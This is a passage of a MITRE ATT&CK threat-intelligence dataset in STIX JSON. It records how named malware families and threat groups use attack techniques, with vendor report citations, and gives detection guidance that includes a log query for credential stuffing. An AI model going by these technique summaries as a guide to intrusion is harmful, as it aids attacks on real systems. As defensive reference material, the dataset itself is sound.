2024.","url":"https://www.elastic.co/security-labs/spring-cleaning-with-latrodectus"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-18T18:07:38.530Z","description":"[Latrodectus](https://attack.mitre.org/software/S1160) has been packed to appear as a component to Bitdefender’s kernel-mode driver, TRUFOS.SYS.(Citation: Elastic Latrodectus May 2024)","relationship_type":"uses","source_ref":"malware--76fde8df-3495-47c9-82eb-125c4f7fb621","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8aca6fab-b526-4716-98e0-1300847b9478","type":"relationship","created":"2021-09-09T13:53:16.386Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Oblique RAT March 2021","url":"https://blog.talosintelligence.com/2021/02/obliquerat-new-campaign.html","description":"Malhotra, A. (2021, March 2). ObliqueRAT returns with new campaign using hijacked websites. Retrieved September 2, 2021."}],"modified":"2021-10-15T14:43:12.244Z","description":"[ObliqueRAT](https://attack.mitre.org/software/S0644) can hide its payload in BMP images hosted on compromised websites.(Citation: Talos Oblique RAT March 2021)","relationship_type":"uses","source_ref":"malware--5864e59f-eb4c-43ad-83b2-b5e4fae056c9","target_ref":"attack-pattern--c2e147a9-d1a8-4074-811a-d8789202d916","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8acca861-11fd-49bd-8dbc-0b326f5303d6","type":"relationship","created":"2020-03-17T12:38:09.997Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf","description":"ESET. (2017, August). Gazing at Gazer: Turla’s new second stage backdoor. Retrieved September 14, 2017.","source_name":"ESET Gazer Aug 2017"},{"url":"https://securelist.com/introducing-whitebear/81638/","description":"Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.","source_name":"Securelist WhiteBear Aug 2017"}],"modified":"2020-03-17T12:38:09.997Z","description":"[Gazer](https://attack.mitre.org/software/S0168) injects its communication module into an Internet accessible process through which it performs C2.(Citation: ESET Gazer Aug 2017)(Citation: Securelist WhiteBear Aug 2017)","relationship_type":"uses","source_ref":"malware--76abb3ef-dafd-4762-97cb-a35379429db4","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8acce9df-baaa-4495-b273-ca925ea68ad8","created":"2024-09-16T09:07:08.102Z","revoked":false,"external_references":[{"source_name":"Google Cloud APT41 2024","description":"Mike Stokkel et al. (2024, July 18). APT41 Has Arisen From the DUST. Retrieved September 16, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/apt41-arisen-from-dust"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T09:07:08.102Z","description":"[DUSTPAN](https://attack.mitre.org/software/S1158) was used during [APT41 DUST](https://attack.mitre.org/campaigns/C0040).(Citation: Google Cloud APT41 2024)","relationship_type":"uses","source_ref":"campaign--add4d9de-1256-4166-83b8-57087288dced","target_ref":"malware--37487ff6-de2a-4c14-9e8b-ba3b97f78aaf","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8adae68b-d792-4e92-bd24-94d67eaa566e","created":"2022-08-03T03:24:47.430Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SpecterOps Certified Pre Owned","description":"Schroeder, W. & Christensen, L. (2021, June 22). Certified Pre-Owned - Abusing Active Directory Certificate Services. Retrieved August 2, 2022.","url":"https://web.archive.org/web/20220818094600/https://specterops.io/assets/resources/Certified_Pre-Owned.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-21T20:32:29.691Z","description":"Monitor for changes to CA attributes and settings, such as AD CS certificate template modifications (ex: EID 4899/4900 once a potentially malicious certificate is enrolled).(Citation: SpecterOps Certified Pre Owned)","relationship_type":"detects","source_ref":"x-mitre-data-component--5b8b466b-2c81-4fe7-946f-d677a74ae3db","target_ref":"attack-pattern--7de1f7ac-5d0c-4c9c-8873-627202205331","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8ae4334c-0c17-406e-9778-e9bf38342f04","type":"relationship","created":"2022-03-30T14:26:51.871Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.871Z","description":"Monitor newly executed processes that may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8ae91ec7-32ed-46a2-9bc2-1c7b856c3cc7","created":"2020-06-19T19:08:40.368Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Unit 42 Valak July 2020","description":"Duncan, B. (2020, July 24). Evolution of Valak, from Its Beginnings to Mass Distribution. Retrieved August 31, 2020.","url":"https://unit42.paloaltonetworks.com/valak-evolution/"},{"source_name":"SentinelOne Valak June 2020","description":"Reaves, J. and Platt, J. (2020, June). Valak Malware and the Connection to Gozi Loader ConfCrew. Retrieved August 31, 2020.","url":"https://assets.sentinelone.com/labs/sentinel-one-valak-i"},{"source_name":"Cybereason Valak May 2020","description":"Salem, E. et al. (2020, May 28). VALAK: MORE THAN MEETS THE EYE . Retrieved June 19, 2020.","url":"https://www.cybereason.com/blog/valak-more-than-meets-the-eye"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-11-30T22:35:19.731Z","description":"[Valak](https://attack.mitre.org/software/S0476) has the ability to exfiltrate data over the C2 channel.(Citation: Cybereason Valak May 2020)(Citation: Unit 42 Valak July 2020)(Citation: SentinelOne Valak June 2020)","relationship_type":"uses","source_ref":"malware--ade37ada-14af-4b44-b36c-210eec255d53","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8aeea825-de75-404b-bde3-806ba749f416","created":"2022-10-11T18:46:09.766Z","revoked":false,"external_references":[{"source_name":"Cybereason StrifeWater Feb 2022","description":"Cybereason Nocturnus. (2022, February 1). StrifeWater RAT: Iranian APT Moses Staff Adds New Trojan to Ransomware Operations. Retrieved August 15, 2022.","url":"https://www.cybereason.com/blog/research/strifewater-rat-iranian-apt-moses-staff-adds-new-trojan-to-ransomware-operations"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-11T18:46:09.766Z","description":"[StrifeWater](https://attack.mitre.org/software/S1034) can modify its sleep time responses from the default of 20-22 seconds.(Citation: Cybereason StrifeWater Feb 2022)","relationship_type":"uses","source_ref":"malware--fb78294a-7d7a-4d38-8ad0-92e67fddc9f0","target_ref":"attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8afca8e1-320a-4eed-b865-995a9b6b3920","created":"2022-03-30T14:26:51.840Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Cloudy Logs 2023","description":"Pany, D. & Hanley, C. (2023, May 3). Cloudy with a Chance of Bad Logs: Cloud Platform Log Configurations to Consider in Investigations. Retrieved October 16, 2023.","url":"https://www.mandiant.com/resources/blog/cloud-bad-log-configurations"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-13T18:01:51.455Z","description":" Monitor for many failed authentication attempts across various accounts that may result from credential stuffing attempts.(Citation: Mandiant Cloudy Logs 2023)\n\nAnalytic 1 - Multiple failed logon attempts across different accounts, especially using commonly used passwords.\n\n (index=security sourcetype=\"WinEventLog:Security\" EventCode IN (4625, 5379)) OR\n(index=os sourcetype=\"linux_secure\" message=\"Failed password\") OR\n(index=os sourcetype=\"macos_secure\" message=\"Failed to authenticate user\") | where match(Password, \"(?i)(Password123|Password1|123456|12345678|qwerty|abc123|letmein|welcome|monkey|admin|login|pass|guest|root)\")","relationship_type":"detects","source_ref":"x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e","target_ref":"attack-pattern--b2d03cea-aec1-45ca-9744-9ee583c1e1cc","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8b020cdd-4731-4dd5-8407-7f3076ab1d2d","type":"relationship","created":"2019-01-29T18:17:59.264Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CIRCL PlugX March 2013","url":"http://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf","description":"Computer Incident Response Center Luxembourg. (2013, March 29). Analysis of a PlugX variant. Retrieved November 5, 2018."}],"modified":"2019-04-19T15:08:16.054Z","description":"[PlugX](https://attack.mitre.org/software/S0013) has a module for enumerating TCP and UDP network connections and associated processes using the netstat command.(Citation: CIRCL PlugX March 2013)","relationship_type":"uses","source_ref":"malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8b02a707-94ba-4c61-8292-d9dce02606b3","created":"2023-03-08T21:38:03.142Z","revoked":false,"external_references":[{"source_name":"Cyble Black Basta May 2022","description":"Cyble. (2022, May 6). New ransomware variant targeting high-value organizations. Retrieved March 7, 2023.","url":"https://blog.cyble.com/2022/05/06/black-basta-ransomware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-08T21:38:03.142Z","description":"[Black Basta](https://attack.mitre.org/software/S1070) can check whether the service name FAX is present.(Citation: Cyble Black Basta May 2022)","relationship_type":"uses","source_ref":"malware--8d242fb4-9033-4f13-8a88-4b9b4bcd9a53","target_ref":"attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8b02b838-22f8-469b-97f1-7185b06d286a","type":"relationship","created":"2020-05-12T14:12:19.697Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Cloud Atlas August 2019","url":"https://securelist.com/recent-cloud-atlas-activity/92016/","description":"GReAT. (2019, August 12). Recent Cloud Atlas activity. Retrieved May 8, 2020."}],"modified":"2020-05-12T14:12:19.697Z","description":"[PowerShower](https://attack.mitre.org/software/S0441) has used a PowerShell document stealer module to pack and exfiltrate .txt, .pdf, .xls or .doc files smaller than 5MB that were modified during the past two days.(Citation: Kaspersky Cloud Atlas August 2019)","relationship_type":"uses","source_ref":"malware--53486bc7-7748-4716-8190-e4f1fde04c53","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8b02e229-c01f-47d0-8f37-03871ef0a608","created":"2024-06-14T19:28:18.976Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA Star Blizzard Advisory December 2023","description":"CISA, et al. (2023, December 7). Russian FSB Cyber Actor Star Blizzard Continues Worldwide Spear-phishing Campaigns. Retrieved June 13, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-341a"},{"source_name":"Microsoft Star Blizzard August 2022","description":"Microsoft Threat Intelligence. (2022, August 15). Disrupting SEABORGIUM’s ongoing phishing operations. Retrieved June 13, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2022/08/15/disrupting-seaborgiums-ongoing-phishing-operations/"},{"source_name":"StarBlizzard","description":"Microsoft Threat Intelligence. (2023, December 7). Star Blizzard increases sophistication and evasion in ongoing attacks. Retrieved February 13, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2023/12/07/star-blizzard-increases-sophistication-and-evasion-in-ongoing-attacks/"},{"source_name":"Google TAG COLDRIVER January 2024","description":"Shields, W. (2024, January 18). Russian threat group COLDRIVER expands its targeting of Western officials to include the use of malware. Retrieved June 13, 2024.","url":"https://blog.google/threat-analysis-group/google-tag-coldriver-russian-phishing-malware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-18T19:36:37.573Z","description":"[Star Blizzard](https://attack.mitre.org/groups/G1033) has sent emails to establish rapport with targets eventually sending messages with attachments containing links to credential-stealing sites.(Citation: Microsoft Star Blizzard August 2022)(Citation: CISA Star Blizzard Advisory December 2023)(Citation: StarBlizzard)(Citation: Google TAG COLDRIVER January 2024)\n","relationship_type":"uses","source_ref":"intrusion-set--9b36c218-4d80-4ec6-a68d-cc2886bbe410","target_ref":"attack-pattern--8982a661-d84c-48c0-b4ec-1db29c6cf3bc","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8b0e9de1-a7b0-479e-aee7-76f2549508c6","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT17","description":"FireEye Labs/FireEye Threat Intelligence. (2015, May 14). Hiding in Plain Sight: FireEye and Microsoft Expose Obfuscation Tactic. Retrieved January 22, 2016.","url":"https://web.archive.org/web/20240119213200/https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf"},{"source_name":"FireEye Periscope March 2018","description":"FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-04T17:04:35.671Z","description":"[BLACKCOFFEE](https://attack.mitre.org/software/S0069) uses Microsoft’s TechNet Web portal to obtain a dead drop resolver containing an encoded tag with the IP address of a command and control server.(Citation: FireEye APT17)(Citation: FireEye Periscope March 2018)","relationship_type":"uses","source_ref":"malware--d69c8146-ab35-4d50-8382-6fc80e641d43","target_ref":"attack-pattern--f7827069-0bf2-4764-af4f-23fae0d181b7","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8b12a0c5-9e30-47ef-a786-5c5eeaf52240","created":"2020-08-04T15:35:30.364Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Secureworks REvil September 2019","description":"Counter Threat Unit Research Team. (2019, September 24). REvil/Sodinokibi Ransomware. Retrieved August 4, 2020.","url":"https://www.secureworks.com/research/revil-sodinokibi-ransomware"},{"source_name":"Group IB Ransomware May 2020","description":"Group IB. (2020, May). Ransomware Uncovered: Attackers’ Latest Methods. Retrieved August 5, 2020.","url":"https://www.group-ib.com/whitepapers/ransomware-uncovered.html"},{"source_name":"G Data Sodinokibi June 2019","description":"Han, Karsten. (2019, June 4). Strange Bits: Sodinokibi Spam, CinaRAT, and Fake G DATA. Retrieved August 4, 2020.","url":"https://www.gdatasoftware.com/blog/2019/06/31724-strange-bits-sodinokibi-spam-cinarat-and-fake-g-data"},{"source_name":"Intel 471 REvil March 2020","description":"Intel 471 Malware Intelligence team. (2020, March 31). REvil Ransomware-as-a-Service – An analysis of a ransomware affiliate operation. Retrieved August 4, 2020.","url":"https://intel471.com/blog/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/"},{"source_name":"McAfee Sodinokibi October 2019","description":"McAfee. (2019, October 2). McAfee ATR Analyzes Sodinokibi aka REvil Ransomware-as-a-Service – What The Code Tells Us. Retrieved August 4, 2020.","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-what-the-code-tells-us/"},{"source_name":"Picus Sodinokibi January 2020","description":"Ozarslan, S. (2020, January 15). A Brief History of Sodinokibi. Retrieved August 5, 2020.","url":"https://www.picussecurity.com/blog/a-brief-history-and-further-technical-analysis-of-sodinokibi-ransomware"},{"source_name":"Secureworks GandCrab and REvil September 2019","description":"Secureworks . (2019, September 24). REvil: The GandCrab Connection. Retrieved August 4, 2020.","url":"https://www.secureworks.com/blog/revil-the-gandcrab-connection"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T00:16:01.461Z","description":"[REvil](https://attack.mitre.org/software/S0496) has used encrypted strings and configuration files.(Citation: G Data Sodinokibi June 2019)(Citation: Secureworks GandCrab and REvil September 2019)(Citation: McAfee Sodinokibi October 2019)(Citation: Intel 471 REvil March 2020)(Citation: Group IB Ransomware May 2020)(Citation: Picus Sodinokibi January 2020)(Citation: Secureworks REvil September 2019)","relationship_type":"uses","source_ref":"malware--ac61f1f9-7bb1-465e-9b8a-c2ce8e88baf5","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8b16a324-45f2-4e90-8c30-39229b352fb7","created":"2022-06-03T13:04:28.122Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cybereason PowerLess February 2022","description":"Cybereason Nocturnus. (2022, February 1). PowerLess Trojan: Iranian APT Phosphorus Adds New PowerShell Backdoor for Espionage. Retrieved June 1, 2022.","url":"https://www.cybereason.com/blog/research/powerless-trojan-iranian-apt-phosphorus-adds-new-powershell-backdoor-for-espionage"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T17:38:14.364Z","description":"[PowerLess](https://attack.mitre.org/software/S1012) can encrypt browser database files prior to exfiltration.(Citation: Cybereason PowerLess February 2022)","relationship_type":"uses","source_ref":"malware--35ee9bf3-264b-4411-8a8f-b58cec8f35e4","target_ref":"attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--8b18d3d9-154d-435a-a174-d84ef5961ec8","created":"2022-07-01T20:27:40.142Z","x_mitre_version":"0.1","external_references":[{"source_name":"TrendMicro EarthLusca 2022","url":"https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf","description":"Chen, J., et al. (2022). Delving Deep: An Analysis of Earth Lusca’s Operations. Retrieved July 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"(Citation: TrendMicro EarthLusca 2022)","modified":"2022-07-01T20:27:40.142Z","relationship_type":"uses","source_ref":"intrusion-set--cc613a49-9bfa-4e22-98d1-15ffbb03f034","target_ref":"tool--0a68f1f1-da74-4d28-8d9a-696c082706cc","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--8b1a306d-5437-4589-8f03-05290d131b0a","created":"2022-06-16T13:07:10.262Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for unexpected network shares being accessed on target systems or on large numbers of systems.","modified":"2022-06-16T13:07:10.262Z","relationship_type":"detects","source_ref":"x-mitre-data-component--f5468e67-51c7-4756-9b4f-65707708e7fa","target_ref":"attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8b1d88b8-7990-4fef-9dd0-1a422a81d62c","type":"relationship","created":"2022-03-30T14:26:51.846Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.846Z","description":"Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Monitor for logging, messaging, and other artifacts highlighting the health of host sensors (ex: metrics, errors, and/or exceptions from logging applications)","source_ref":"x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6","target_ref":"attack-pattern--c675646d-e204-4aa8-978d-e3d6d65885c4","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8b212643-e625-436c-943f-911be8e87c3a","type":"relationship","created":"2021-10-01T01:57:31.786Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro TeamTNT","url":"https://documents.trendmicro.com/assets/white_papers/wp-tracking-the-activities-of-teamTNT.pdf","description":"Fiser, D. Oliveira, A. (n.d.). Tracking the Activities of TeamTNT A Closer Look at a Cloud-Focused Malicious Actor Group. Retrieved September 22, 2021."}],"modified":"2021-10-01T01:57:31.786Z","description":"[TeamTNT](https://attack.mitre.org/groups/G0139) has scanned specific lists of target IP addresses.(Citation: Trend Micro TeamTNT)","relationship_type":"uses","source_ref":"intrusion-set--35d1b3be-49d4-42f1-aaa6-ef159c880bca","target_ref":"attack-pattern--db8f5003-3b20-48f0-9b76-123e44208120","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8b22c0bd-784b-4916-8116-709a03be5b45","type":"relationship","created":"2022-03-30T14:26:51.832Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.832Z","description":"Monitor for anomalous activity, such as enabling Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4768 and 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17], pre-authentication not required [Type: 0x0]).","source_ref":"x-mitre-data-component--02d090b6-8157-48da-98a2-517f7edd49fc","target_ref":"attack-pattern--3986e7fd-a8e9-4ecb-bfc6-55920855912b","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8b245546-d5ed-4ff8-b5a6-7c97250ce026","type":"relationship","created":"2021-02-17T20:27:27.451Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"IBM MegaCortex","url":"https://securityintelligence.com/posts/from-mega-to-giga-cross-version-comparison-of-top-megacortex-modifications/","description":"Del Fierro, C. Kessem, L.. (2020, January 8). From Mega to Giga: Cross-Version Comparison of Top MegaCortex Modifications. Retrieved February 15, 2021."},{"source_name":"mbed-crypto","url":"https://github.com/ARMmbed/mbed-crypto","description":"ARMmbed. (2018, June 21). Mbed Crypto. Retrieved February 15, 2021."}],"modified":"2021-03-31T18:43:23.367Z","description":"[MegaCortex](https://attack.mitre.org/software/S0576) has used the open-source library, Mbed Crypto, and generated AES keys to carry out the file encryption process.(Citation: IBM MegaCortex)(Citation: mbed-crypto)","relationship_type":"uses","source_ref":"malware--909617c3-6d87-4330-8f32-bd3af38c3b92","target_ref":"attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8b2625de-8de9-4216-8805-d1e75093b098","type":"relationship","created":"2020-06-18T17:29:43.758Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 BackConfig May 2020","url":"https://unit42.paloaltonetworks.com/updated-backconfig-malware-targeting-government-and-military-organizations/","description":"Hinchliffe, A. and Falcone, R. (2020, May 11). Updated BackConfig Malware Targeting Government and Military Organizations in South Asia. Retrieved June 17, 2020."}],"modified":"2020-06-18T17:29:43.758Z","description":"(Citation: Unit 42 BackConfig May 2020)","relationship_type":"uses","source_ref":"intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0","target_ref":"malware--c13d9621-aca7-436b-ab3d-3a95badb3d00","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8b26be81-0112-43be-a3e5-a94d5b15c738","type":"relationship","created":"2021-09-21T14:52:49.734Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET BackdoorDiplomacy Jun 2021","url":"https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/","description":"Adam Burgher. (2021, June 10). BackdoorDiplomacy: Upgrading from Quarian to Turian. Retrieved September 1, 2021"}],"modified":"2021-09-21T17:11:52.859Z","description":"(Citation: ESET BackdoorDiplomacy Jun 2021)","relationship_type":"uses","source_ref":"intrusion-set--9735c036-8ebe-47e9-9c77-b0ae656dab93","target_ref":"tool--b63970b7-ddfb-4aee-97b1-80d335e033a8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8b289eb7-6960-45c4-bea8-bbd9ace81055","created":"2023-09-18T18:17:00.154Z","revoked":false,"external_references":[{"source_name":"Cisco Operation Layover September 2021","description":"Ventura, V. (2021, September 16). Operation Layover: How we tracked an attack on the aviation industry to five years of compromise. Retrieved September 15, 